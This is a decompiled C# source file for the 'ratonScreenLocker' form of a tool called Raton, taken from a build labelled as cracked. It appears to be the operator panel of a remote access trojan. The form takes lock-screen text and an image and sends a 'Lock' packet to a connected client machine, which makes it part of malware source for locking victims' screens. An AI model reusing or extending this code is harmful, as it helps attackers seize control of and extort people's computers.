159 lines
6.0 KiB
C#
159 lines
6.0 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Raton.Forms.ClientForms.Misc.ratonScreenLocker
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using DarkModeForms;
|
||
|
|
using Raton.Classes;
|
||
|
|
using Raton.Properties;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.ComponentModel;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Raton.Forms.ClientForms.Misc;
|
||
|
|
|
||
|
|
public class ratonScreenLocker : Form
|
||
|
|
{
|
||
|
|
private IContainer components;
|
||
|
|
private Label label1;
|
||
|
|
private TextBox textBox1;
|
||
|
|
private Label label2;
|
||
|
|
private PictureBox pictureBox1;
|
||
|
|
private Timer timer1;
|
||
|
|
private RgbBuildButton rgbBuildButton1;
|
||
|
|
|
||
|
|
public SillyClient SillyClient { get; set; }
|
||
|
|
|
||
|
|
public ratonScreenLocker()
|
||
|
|
{
|
||
|
|
this.InitializeComponent();
|
||
|
|
DarkMode.Start((Form) this);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void timer1_Tick(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||
|
|
return;
|
||
|
|
this.Close();
|
||
|
|
}
|
||
|
|
|
||
|
|
public byte[] GetImageBytes()
|
||
|
|
{
|
||
|
|
if (this.pictureBox1.BackgroundImage == null)
|
||
|
|
return new byte[0];
|
||
|
|
using (MemoryStream memoryStream = new MemoryStream())
|
||
|
|
{
|
||
|
|
this.pictureBox1.BackgroundImage.Save((Stream) memoryStream, this.pictureBox1.BackgroundImage.RawFormat);
|
||
|
|
return memoryStream.ToArray();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void button1_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
Pack pack = new Pack();
|
||
|
|
pack.SetString("Packet", "Lock");
|
||
|
|
pack.SetString("Text", this.textBox1.Text);
|
||
|
|
pack.Set("Image", this.GetImageBytes());
|
||
|
|
this.SillyClient.Send(pack.Pacc());
|
||
|
|
int num = (int) Messenger.MessageBox("Screen locked successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||
|
|
this.Close();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void pictureBox1_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||
|
|
openFileDialog.Filter = "Screenlocker supported|*.jpg;*.jpeg;*.png;*.bmp";
|
||
|
|
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||
|
|
return;
|
||
|
|
this.pictureBox1.BackgroundImage = Image.FromFile(openFileDialog.FileName);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ratonScreenLocker_Load(object sender, EventArgs e) => this.timer1.Start();
|
||
|
|
|
||
|
|
protected override void Dispose(bool disposing)
|
||
|
|
{
|
||
|
|
if (disposing && this.components != null)
|
||
|
|
this.components.Dispose();
|
||
|
|
base.Dispose(disposing);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void InitializeComponent()
|
||
|
|
{
|
||
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
||
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonScreenLocker));
|
||
|
|
this.label1 = new Label();
|
||
|
|
this.textBox1 = new TextBox();
|
||
|
|
this.label2 = new Label();
|
||
|
|
this.pictureBox1 = new PictureBox();
|
||
|
|
this.timer1 = new Timer(this.components);
|
||
|
|
this.rgbBuildButton1 = new RgbBuildButton();
|
||
|
|
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||
|
|
this.SuspendLayout();
|
||
|
|
this.label1.AutoSize = true;
|
||
|
|
this.label1.Location = new Point(13, 14);
|
||
|
|
this.label1.Name = "label1";
|
||
|
|
this.label1.Size = new Size(97, 15);
|
||
|
|
this.label1.TabIndex = 0;
|
||
|
|
this.label1.Text = "Screen locker text";
|
||
|
|
this.textBox1.Location = new Point(12, 32 /*0x20*/);
|
||
|
|
this.textBox1.MaxLength = 2000;
|
||
|
|
this.textBox1.Multiline = true;
|
||
|
|
this.textBox1.Name = "textBox1";
|
||
|
|
this.textBox1.Size = new Size(573, 81);
|
||
|
|
this.textBox1.TabIndex = 1;
|
||
|
|
this.label2.AutoSize = true;
|
||
|
|
this.label2.Location = new Point(13, 125);
|
||
|
|
this.label2.Name = "label2";
|
||
|
|
this.label2.Size = new Size(110, 15);
|
||
|
|
this.label2.TabIndex = 2;
|
||
|
|
this.label2.Text = "Screen locker image";
|
||
|
|
this.pictureBox1.BackgroundImage = (Image) Resources._74b5e4b721827ea2500de684d2c839f6;
|
||
|
|
this.pictureBox1.BackgroundImageLayout = ImageLayout.Stretch;
|
||
|
|
this.pictureBox1.Location = new Point(16 /*0x10*/, 144 /*0x90*/);
|
||
|
|
this.pictureBox1.Name = "pictureBox1";
|
||
|
|
this.pictureBox1.Size = new Size(569, 417);
|
||
|
|
this.pictureBox1.SizeMode = PictureBoxSizeMode.CenterImage;
|
||
|
|
this.pictureBox1.TabIndex = 3;
|
||
|
|
this.pictureBox1.TabStop = false;
|
||
|
|
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
|
||
|
|
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||
|
|
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||
|
|
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||
|
|
this.rgbBuildButton1.ForeColor = Color.White;
|
||
|
|
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
|
||
|
|
this.rgbBuildButton1.IconSize = 25;
|
||
|
|
this.rgbBuildButton1.IconSpacing = 8;
|
||
|
|
this.rgbBuildButton1.Location = new Point(12, 567);
|
||
|
|
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||
|
|
this.rgbBuildButton1.Size = new Size(573, 46);
|
||
|
|
this.rgbBuildButton1.TabIndex = 4;
|
||
|
|
this.rgbBuildButton1.Text = "Lock screen";
|
||
|
|
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||
|
|
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
||
|
|
this.ClientSize = new Size(601, 626);
|
||
|
|
this.Controls.Add((Control) this.rgbBuildButton1);
|
||
|
|
this.Controls.Add((Control) this.pictureBox1);
|
||
|
|
this.Controls.Add((Control) this.label2);
|
||
|
|
this.Controls.Add((Control) this.textBox1);
|
||
|
|
this.Controls.Add((Control) this.label1);
|
||
|
|
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||
|
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||
|
|
this.MaximizeBox = false;
|
||
|
|
this.Name = nameof (ratonScreenLocker);
|
||
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
||
|
|
this.Text = nameof (ratonScreenLocker);
|
||
|
|
this.Load += new EventHandler(this.ratonScreenLocker_Load);
|
||
|
|
((ISupportInitialize) this.pictureBox1).EndInit();
|
||
|
|
this.ResumeLayout(false);
|
||
|
|
this.PerformLayout();
|
||
|
|
}
|
||
|
|
}
|